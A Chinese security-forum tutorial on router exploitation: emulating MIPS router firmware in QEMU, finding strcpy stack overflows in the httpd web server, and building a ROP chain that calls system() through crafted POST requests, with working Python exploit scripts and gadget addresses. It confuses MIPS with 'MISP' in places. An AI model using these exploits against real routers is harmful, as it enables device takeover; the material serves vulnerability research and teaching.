问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从嵌入式系统到网络设备:路由器安全攻防技术详解
硬件与物联网
物联网(Internet of Things, IoT)的概念最早由英国技术专家凯文·阿什顿(Kevin Ashton)于1999年提出。当时,阿什顿在麻省理工学院(MIT)的自动识别中心(Auto-ID Center)工作,旨在研究将物理对象通过互联网连接起来,以实现更有效的供应链管理
物联网(Internet of Things, IoT)的概念最早由英国技术专家凯文·阿什顿(Kevin Ashton)于1999年提出。当时,阿什顿在麻省理工学院(MIT)的自动识别中心(Auto-ID Center)工作,旨在研究将物理对象通过互联网连接起来,以实现更有效的供应链管理。阿什顿首次在演讲中使用了“物联网”这一术语,用以描述一个新的技术生态系统,其中的对象能够通过互联网互相连接和交换数据,实现智能化。物联网设备已经广泛渗透到生活的各个领域,如家庭摄像头、智能灯泡、智能手表、智能门锁、智能电表和水表等。然而,随着物联网的快速发展和普及,安全隐患也日益凸显,而路由器是物联网的核心,它主要作用与物联网内设备的互联互通,其重要性也越发重要。 什么是MIPS指令集 ========== MIPS(Microprocessor without Interlocked Pipeline Stages),是一种采取精简指令集(RISC)的指令集架构(ISA),最早的MIPS架构是32位,最新的版本已经变成64位。MIPS汇编语言是用于编写MIPS(Microprocessor without Interlocked Pipeline Stages)架构微处理器指令的低级语言,常见于路由器,MIPS架构是一种典型的精简指令集计算机(RISC)体系结构,最初由斯坦福大学的John Hennessy在1980年代初期设计,目的是为了实现高性能的处理器设计,通过使用简单的指令集来加速指令的执行速度。MIPS架构和汇编语言被广泛用于各种设备和应用中,包括嵌入式系统、路由器、微控制器以及视频游戏控制器等。 MIPS常见寄存器与逻辑运算指令 ---------------- ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c8f372b967272b31793e85b31b69d9beb51f2803.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-0d1f4e4a1875926fd051b31f2ca74dc6ab7554c2.png) 叶子函数(Leaf Function)与非叶子函数(Non-Leaf Function) -------------------------------------------- 在MISP(Malware Information Sharing Platform & Threat Sharing)中,叶子函数和非叶子函数是用于描述事件对象的两种不同类型函数,叶子函数是指在其执行过程中不调用其他函数的函数。这意味着叶子函数只执行操作而不“分支”到程序的其他部分。由于叶子函数不进行任何函数调用,它们通常直接执行计算或操作,然后返回结果。这种函数的特点是执行路径简单,资源需求相对可预测。 叶子函数的特点:不包含对其他函数的调用。执行过程中不需要为其他函数调用保留额外的栈空间。通常执行时间较短,资源使用较少。 ```php int leaf_function(int x) { return x * 2; } ``` 在这个示例中,leaf\_function 是一个叶子函数,它只是简单地对参数 x 进行乘以 2 的操作并返回结果 非叶子函数是指在其执行过程中至少调用一个其他函数的函数。这种函数的执行可能依赖于它调用的其他函数的结果。非叶子函数可能涉及更复杂的逻辑和操作,执行路径可能因为其中包含的函数调用而变得复杂。 非叶子函数的特点:包含至少一个对其他函数的调用。执行过程中需要为被调用的函数分配栈空间。由于包含函数调用,其执行时间和资源使用可能不如叶子函数容易预测 ```php int non_leaf_function(int x) { int y = leaf_function(x); return y + 1; } ``` 在这个示例中,non\_leaf\_function 是一个非叶子函数,因为它调用了 leaf\_function 函数 如果在非叶子函数里利用栈溢出漏洞控制$ra寄存器构造ROP链, 调用一次sleep函数来清空$ra寄存器 ,sleep函数在MIPS汇编操作如下 ```php li $a0,1 ``` QEMU(Quick EMUlator) -------------------- QEMU(Quick EMUlator)\[2\]是一个开源的虚拟机监控器(hypervisor)和仿真器,它可以在多种架构上执行客户机操作系统。QEMU最初由Fabrice Bellard开发,并且在GNU通用公共许可证(GPL)下发布的。QEMU允许用户模拟完整的计算机系统,包括处理器和各种外设,这样可以在一个主机系统上运行一个或多个客户操作系统。 QEMU既可以作为虚拟机监控器,也可以作为仿真器使用。作为虚拟机监控器,QEMU能够创建并管理虚拟机,允许在宿主系统上同时运行多个客户机操作系统。作为仿真器,QEMU可以模拟处理器架构,允许在一个系统上运行不同架构的二进制程序。它也支持多种硬件架构,包括 x86、ARM、MIPS、PowerPC、SPARC 等。这使得QEMU成为跨平台的工具,可以在不同体系结构之间执行虚拟化和仿真。 在linux平台上执行这个命令可以安装QEMU ```php sudo apt install qemu-user-static ``` 这个命令会默认安装全部的QEMU模拟架构工具,QEMU工具的命名都有其特殊意义,这里以qemu-aarch64-static举例 qemu:代表这个工具是QEMU仿真器的其中一种 aarch64:指的是 ARMv8 架构的 64 位模式,也就是现代 ARM 处理器的 64 位架构(如在许多智能手机、平板电脑和一些服务器中使用的处理器)。aarch64 是 ARM 64 位指令集的一种通称,用于区分早期的 32 位 ARM 指令集(ARMv7 及之前,通常称为 armhf 或 armel) static:意味着这个 QEMU 的可执行文件是静态链接的。静态链接的二进制文件包含了运行程序所需的所有库的副本,这意味着它不依赖于系统上的共享库。这种方式使得该可执行文件可以在没有安装必要库的系统上运行,增强了其在不同环境中的可移植性和使用的灵活性 栈溢出 === 什么是栈溢出 ------ 栈溢出(Stack Overflow)是一种常见的软件安全漏洞,发生在程序的栈内存区域分配不当时,特别是当程序试图向栈写入超过其分配空间的数据时。栈是操作系统为程序运行时分配的一块连续内存区域,用于存储局部变量、函数参数、返回地址等 简单来说,在程序运行时,系统会为程序在内存里生成一个固定空间,如果超过了这个空间,就会造成缓冲区溢出,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,甚至可以取得系统特权,进而进行各种非法操作 这个栈空间里会存放用户输入的一些值和寄存器里的值,栈溢出攻击就是我们输入的字符覆盖掉了特殊的寄存器里的值,控制特殊的寄存器,从而达到控制程序执行流的一个效果 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9899673127104ebbcd8251c63fa45db6fd7482f7.png) 以上图为例,左边代表的是一个正常的栈空间,右边是受栈溢出攻击后的栈空间,原本的Return address指针指向的是栈上其他正常的内存地址,由于被栈溢出攻击,原本指针指向的内存地址被覆盖了,变成攻击者存放Shellcode的地址,导致程序执行Shellcode 所以栈溢出可以导致程序异常终止或行为不稳定。当栈空间被耗尽或栈内存被恶意字符覆盖时,程序可能无法继续正常执行,导致崩溃。这不仅影响用户体验,也可能导致数据丢失或损坏。更严重的是,栈溢出可以被恶意利用来破坏程序的安全性,执行任意代码 路由器产生漏洞常见的函数 ------------ ### strcpy strcpy是C语言标准库中的一个函数,其原型定义在 <string.h> 头文件中。该函数用于将一个字符串复制到另一个字符串中,虽然 strcpy 在字符串操作中非常常用,但它也带来了显著的安全隐患,主要是因为它不检查目标缓冲区的大小,这可能导致缓冲区溢出 如果源字符串的长度超过了目标缓冲区的大小,strcpy 会继续复制字符到目标缓冲区之外的内存区域,这会覆盖和破坏相邻的内存,导致数据损坏、程序崩溃,甚至可能允许攻击者执行任意代码 ### system system是C语言标准库中的一个函数,用于在当前程序中执行一个命令行指令。它的原型定义在 <stdlib.h> 头文件中,允许程序调用外部程序或执行 shell 命令,虽然 system 函数为程序提供了执行外部命令的强大功能,但它也可能造成命令注入攻击:如果 system 函数的输入来自不可信的用户输入,攻击者可能会注入恶意命令,导致程序执行未授权的命令。这可能会泄露敏感信息、破坏系统或为攻击者提供系统访问权限 system 函数创建的子进程会继承其父进程(即当前程序)的用户权限。如果程序以高权限(如 root 用户)运行,那么通过 system 执行的命令也将具有这些权限,从而可能被滥用来执行危险的操作 ### scanf scanf是C语言中用于从标准输入读取字符串并将其存储到变量中的函数。它是C标准库 <stdio.h> 中的一部分。scanf允许程序员指定输入的格式,以便正确地解析并将其转换为指定类型的数据。然而,scanf也存在一些安全隐患,使用%s格式读取字符串时,如果输入的字符串长度超过了目标缓冲区的大小,会覆盖相邻的内存,就会造成缓冲区溢出 路由器栈溢出漏洞研究 ========== 提取固件内的文件 -------- 路由器的升级安装包通常都是一个.bin文件,需要用到binwalk工具来提取固件里的文件,执行命令 ```php binwalk -eM 固件名称.bin --run-as=root ``` 可以提取指定固件内的文件,-eM参数的作用是分析的文件中查找并提取发现的文件,--run-as=root参数的作用是以root权限去提取固件内的文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-26334eda02f4e8652c2cf634b0341e23e1fbd6f9.png) 提取完成之后,binwalk会在当前活动文件夹下自动生成一个文件夹,这个文件夹里存放的就是固件内的文件,固件里存储的是一个linux系统,进入文件夹后可以看到其中的文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b364da9a5327cb60860e3000938ccf3b410b31ac.png) 静态分析交互程序 -------- 路由器与用户交互的程序通常存储在bin目录下,在本文案例中,这个程序名称为httpd,其主要作用是实现路由器的Web界面管理功能。这个Web界面管理可以通过浏览器访问,让用户可以通过图形化界面来配置和管理路由器的各种功能和设置。 分析程序需要用到Ghidra工具,Ghidra是一款强大的逆向工程工具,用于分析、逆向软件与固件,将httpd程序导入Ghidra后,可以分析程序的汇编代码与Ghidra通过汇编代码生成的C语言代码 将httpd程序导入ghidra后按住ctrl+shift+e,呼出搜索界面,搜索strcpy函数,除了strcpy函数,也可以搜索system函数寻找RCE漏洞 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9baf51b66dc20de5f9a1a6b721c02cf1d8fe0741.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4b2f22cba9ae8666a59c68f56b9cef302b0885fb.png) 上图就是程序调用了strcpy的地方,点击就能看到对应函数伪代码 通过静态分析,会发现程序内的saveParentControlInfo函数调用了危险函数strcpy ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-13c73a6195e752550ca93db730090073f4ff5100.png) 首先,程序调用了compare\_parentcontrol\_time函数,在compare\_parentcontrol\_time函数中,函数获取了名为time的参数名,并将参数的值赋予了**s变量里,如果**s变量是空的值,那么uVar1=1了,程序最下面return的就是uVar1这个变量,如果uVar1=1,那么无法进入父函数的if判断里,所以这里不能使\_\_s变量为空,要传入time参数名 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-778871801196760fc23a7faf45cfb1c463fba1f7.png) compare\_parentcontrol\_time函数返回父函数saveParentControlInfo函数后,传入time参数进入if判断,程序有调用了get\_parentControl\_list\_Info函数,程序这里刚好获取了一个名为time的函数,然后在下面使用了strcpy函数将**src**00变量里的值复制到parm\_2+2的地址里,strcpy这个函数不会检测字符串的长度,很容易造成栈溢出 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5318789f03796859f083724fc393de2f9813614e.png) 最后,交叉定位找到调用saveParentControlInfo函数的路由saveParentControlInfo和web路径goform,只要使用time参数传入过长的字符串就会造成栈溢出 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-faa230cd950dffe4cf7f429462a2546766e02999.png) payload: ```php import requests url = "http://路由器ip/goform/saveParentControlInfo" data = { "time":b'A'*10000 } res = requests.post(url=url,data=data) ``` QEMU环境模拟与破解环境检测函数 ----------------- 因为这个路由器是MIPS架构的,我们用QEMU搭建仿真环境时,就要使用这个工具qemu-mipsel-static ```php qemu-mipsel-static -L . ./bin/httpd -L .: 这个选项告诉 QEMU 在指定的目录(在这个例子中是当前目录,表示为 .)中寻找系统库和其他必要的文件 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-331df0a231812f9f3b13278d7f74b27cada21275.png) 但是在运行程序时会发现它一直卡在Welcome to字符串处,将文件导入ida ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a13372fc71f344e6cab461276b322c491616da28.png) 按shift+f12可以查找程序内所有的字符串 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-89ed9ec3ff6fe0131729269be585684fc43c6913.png) 再按ctrl+f 定位welcone to字符串位置 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-359dae0acd080d1681a181186acfb486d9f62df7.png) 双击,进入rodata段,交叉定位跳转到调用这个字符串的地址 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-996b6e9674ab5858859665dd6727c840b54e575b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-bc164b225ef3e34c53b9020f81354a63b495e027.png) 程序在这里进入了死循环,代码的最后部分包含了一个条件跳转指令bnez(如果不等于零则跳转),这个跳转指令依赖于GetValue函数的返回值。如果GetValue返回非零值,程序将跳转到loc\_43B828,在loc\_43B828最后,又会跳回loc\_43872c处,和while函数类似 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4f56b83b26394cc0da4bad80856aa91b78059269.png) ### 什么是NOP指令? NOP指令,全称"No Operation"指令,是一种在多种编程语言和汇编语言中存在的特殊指令。如其名所示,NOP指令的执行不会对程序的状态或机器的执行环境产生任何影响,也就是说,它不执行任何操作。在CPU执行NOP指令时,除了指令计数器(PC)会前进到下一条指令外,其他的寄存器值、内存状态和处理器的状态都不会改变 也就是说,我们可以用nop指令把while函数给覆盖掉,使程序不执行while函数 回到ida pro,我们可以把这两个跳转的地方用nop指令给覆盖掉 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3a59426f7dd16471f1dcd6b3e215c4223ec5820b.png) 把鼠标放到第一个红框的地址处,点击一下,然后在ida pro上面的任务栏里选择 ```php Edit->Patch program->change byte ``` 将前4位都改成0,点击ok,就能换成nop指令了 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3c5295b1b3fa076db1738fb3bfeff0e9ce5ea89a.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1aad28483dc300a3ff33514c8527d46451bdc1a4.png) 继续更改第二个跳转指令,点击跳转地址的地方,然后在ida pro上面的任务栏里选择 ```php Edit->Patch program->change byte ``` 继续将前四个值改成0 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-49d59f332a065f82e8945356ec291e06260ad245.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-eca1a0cb3215075f845bfd48206fe5766cff1264.png) 点击ok,完成程序修改 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9cbede7547bec91b6f2a98211f82960ee4e12716.png) 现在导出程序,还是在ida pro上面的任务栏里选择 ```php Edit->Patch program->Apply patches to input file ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a35e820414bd035f6499b760d09b466b87b2b562.png) 点击ok,现在程序已经被我们修改了,退出ida pro,将修改后的文件覆盖虚拟机里的源文件,然后给程序赋权 ```php chmod 777 httpd ``` 最后添加新的网卡,运行程序 ```php brctl addbr br0 brctl addif br0 eth0 ifconfig br0 up dhclient br0 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d4f16fdf7b626fed333977efb0f95e513a15f3a3.png) ```php qemu-mipsel-static -L . ./bin/httpd ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-86f6332f4e130d850e80dc62150044795f329401.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3cf789a5e6d98e137151c66446493d237455e6f1.png) 运行payload,路由器就会因为栈溢出而导致程序崩溃 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3fea4bc472d35afe861f11a4d59671d8b0ae808a.png) 动态调试控制程序指针 ========== 在构造MISP rop链时,这个ida pro插件很好用 ```php https://github.com/grayhatacademy/ida/tree/master ``` 下载完后将shims和mipsrop文件夹里的py文件放到idapro的plugins文件夹里 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-77225bca792f4cd4931b5ba4e5d274a2d4f89d1b.png) 放进去后编辑一下mipsrop.py文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4f48f7c1f03957c0dfae7eda440b89c7176aa58e.png) 将 ```php from shims import ida_shims ``` 改成 ```php import ida_shims ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-5d12c94a2e50619811500b4f1db7f3201d956de6.png) 保存后重启idapro,然后在任务栏里的search功能里可以看到mips rpo gadgets插件了,之后会讲如何使用这个插件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c76b94bf2eb101602b93d75c6e4f23d190a1982f.png) 启用远程动态调试 ```php qemu-mipsel-static -L . -g 2000 ./bin/httpd #-g:开启2000端口debugger ``` ida 远程连接 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-dea0419f1fd02d67df8b84169b79324403cd703f.png) 点击这个绿标运行程序 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-21ce75dd095a2502e140b9995de3bb12dc2ddba9.png) 需要等待1分钟 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ada6b031b28f581ed4b0f984ae614e31cc817075.png) 弹出提示后就说明正在运行了,选择ok即可 我们静态分析找到漏洞点后,可以写脚本造成程序段错误,现在我们为了拿到shell,要找到具体的溢出数值是多少 ```php import requests url = "http://192.168.85.133/goform/SetSysTimeCfg" data = { "timeZone":b'A'*1000 } res = requests.post(url,data=data) print(res.text) ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c5fdff95b5cc77a1d4f3ff5ce3531840d5558f1a.png) 进入gdb,生成垃圾字符 ```php aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-07dfa65d26015e6c9cda613b434b383f584e751c.png) 将这些字符串替换成脚本里的垃圾字符串 ```php import requests url = "http://192.168.85.133/goform/SetSysTimeCfg" data = { "timeZone":b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj'*1000 } res = requests.post(url,data=data) print(res.text) ``` 保证idapro在远程调试状态后,执行脚本 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-88f81c58b056a6941e8218779a6814a4da339c65.png) 现在脚本正在等待idapro程序运行,回到idapro,点击绿色图标,执行脚本里的内容 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-586112857cae47313a836efca0203c402fbefa3b.png) 选择yes ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-78af0f8f446e8f47a88649dd97e379040bf2b240.png) 现在程序报错,提示段错误,现在我们去查看idapro右边的寄存器窗口 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-134f6121342e23798944ea943c5c03595a78961e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3486a581cc4c3c12183682c0d7d6f954731f9f0f.png) 拉到最下面,可以看到$fp和$ra寄存器都变成了垃圾字符 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-11da8232657e3115654fe5cbbdddd7d4079c1a60.png) 这里最重要的是$ra寄存器,作用和ret指令差不多,控制了这个寄存器,就相当于控制了程序的执行流,他的值是61616171转换成ascii码是aaaq,这里有一个知识点,这个MISP是一个小端序,字符串是由低到高存储的,所以这里应该是qaaa,回到gdb,搜索qaaa ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2e01b3b0ad098cfe14b345cfa84e67a260b85277.png) 覆盖到$ra寄存器需要64个字符,之后就是寻找我们要跳转的地址了 现在我们可以测试一下,让程序跳转到开头处,再执行一次welcome ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e05c5d5fe0413b9a5194d57fe2b905ff51885063.png) 找到welcome字符处 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-6a29c063c3cebc8acf0f0a78e240f7001dc31b06.png) 交叉定位调用这个字符的地址 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-9ef2d1f83e675eb52e9498d0796c3e21ea7dbbe6.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d9b90fa7438702bfa91a0119855a339668d46c07.png) 脚本里写入 ```php import requests url = "http://192.168.85.133/goform/SetSysTimeCfg" address = 0x0043ACB0.to_bytes(4, byteorder='little') data = { "timeZone":b'A'*64 + address } res = requests.post(url,data=data) print(res.text) ``` 启动远程动态调试 ```php qemu-mipsel-static -L . -g 2000 ./bin/httpd ``` 用gdb-multiarch连接 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4aa8c35c8741bb9ad36dc604334a30d13999cab9.png) 输入c运行程序 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-006770acfec6924fad85a1cf327c7c7ad5aa6106.png) 执行脚本,可以看到了执行了两次welcome to ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-657b86f866b15431786490083b1e49352986f0a6.png) ROP链构造 ====== 点击mips rpo gadgets插件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4ea9c45ee080f846aca87803e519727f63c7b1a3.png) 在最下面的output窗口输入mipsrop.stackfinder()查找可用的godget ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8425523e4e99866fc60c72f1976a9f95e22793eb.png) 双击这个地址,跳转到找到的godget地址 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f0722270f3bf4d1ebf9f319e18f903f41258c567.png) ```php text:004DB814 addiu $a0, $sp, 0x70+var_58 .text:004DB818 move $v0, $s1 .text:004DB81C .text:004DB81C loc_4DB81C: # CODE XREF: matrix3desDecrypt+6C↑j .text:004DB81C # matrix3desDecrypt:loc_4DB88C↓j .text:004DB81C lw $ra, 0x70+var_4($sp) .text:004DB820 lw $fp, 0x70+var_8($sp) .text:004DB824 lw $s7, 0x70+var_C($sp) .text:004DB828 lw $s6, 0x70+var_10($sp) .text:004DB82C lw $s5, 0x70+var_14($sp) .text:004DB830 lw $s4, 0x70+var_18($sp) .text:004DB834 lw $s3, 0x70+var_1C($sp) .text:004DB838 lw $s2, 0x70+var_20($sp) .text:004DB83C lw $s1, 0x70+var_24($sp) .text:004DB840 lw $s0, 0x70+var_28($sp) .text:004DB844 jr $ra ``` 首先将0x70+var\_58地址的内容放到$a0寄存器里,这里var\_58的值在最上面可以看到 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3db7d6bc720e2799c210a35389b95c052de6dade.png) 所以将0x70-0x58地址处的值放入了$a0寄存器里,然后将0x70+var\_4里的值放入了$ra寄存器里,最后跳转到了$ra寄存器值的地址 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-597d185a1200363324059849e080a13c80ad6d5c.png) $a0寄存器里存放的是之后函数要调用的参数,而$ra寄存器存放的是返回地址,我们可以构造一个rop链,将我们要执行的参数放入$a0寄存器里,然后使$ra寄存器里存放的是system函数的地址,之后程序会跳转到system函数执行我们输入的参数 shift+f12搜索system函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-2e4ab33bc36da12a6240a85fa1df67267b2ae2a9.png) 交叉定位到system函数地址处 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-a3dc10bce80c37f476440f0fe4fef07567e843ec.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c81f9fb30c24443639daf5a4737285f93c99df01.png) payload = 64垃圾字符+stackfinder地址+填充到参数地址的垃圾字符+system执行的参数+填充到返回地址的垃圾字符+system的地址 ```php import requests url = "http://192.168.85.133/goform/SetSysTimeCfg" stackfinder = 0X004DB814.to_bytes(4, byteorder='little') system = 0x004DD820.to_bytes(4, byteorder='little') data = { "timeZone":b'A'*64 + stackfinder + b'C'*20 + b'curl\x00' + b'B'*80+ system } res = requests.post(url,data=data) print(res.text) ``` 还可以直接控制程序的执行流到telnet函数处,开启路由器的telnet功能,远程连接到路由器的telnet控制路由器 防护 == 为了避免以上问题,可以选择安全的编程语言(如 Rust)或者使用具有内存安全性检查的工具来开发路由器固件。这些语言和工具能够自动检测和防止栈溢出等内存安全问题。对于用户输入、网络数据等外部输入要进行严格的验证和过滤,防止恶意数据触发栈溢出漏洞。 启用栈保护技术如栈溢出保护(Stack Overflow Protection,如GCC的 -fstack-protector 选项)、地址空间布局随机化(Address Space Layout Randomization,ASLR)等,以增强系统的安全性,减少栈溢出攻击的成功率。 结束语 === 随着物联网和智能化趋势的发展,路由器设备的重要性进一步凸显。智能家居设备、工业控制系统、医疗设备等各种设备的互联互通需要依赖稳定高效的网络架构和路由器设备。本文利用QEMU成功仿真了目标路由器设备的硬件架构和操作系统环境,为后续的二进制分析提供了可靠的平台。通过模拟路由器固件的运行环境,能够在虚拟化的环境中对二进制文件进行静态和动态分析,发现了潜在的安全风险和漏洞,其次展示了在仿真环境中进行 IoT 二进制安全分析的重要性和实用性。通过分析路由器固件中的二进制文件,深入了解其中的工作原理和安全特性,为识别和防范潜在的网络攻击提供了重要线索和依据,以应对不断演变的网络威胁和安全挑战。 本文使用到的工具下载链接 ```php binwalk:https://github.com/ReFirmLabs/binwalk ghidra:https://ghidra-sre.org/ ida:https://hex-rays.com/ida-pro/ ```
发表于 2025-01-14 10:09:37
阅读 ( 353 )
分类:
二进制
0 推荐
收藏
0 条评论
请先
登录
后评论
cike_y
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!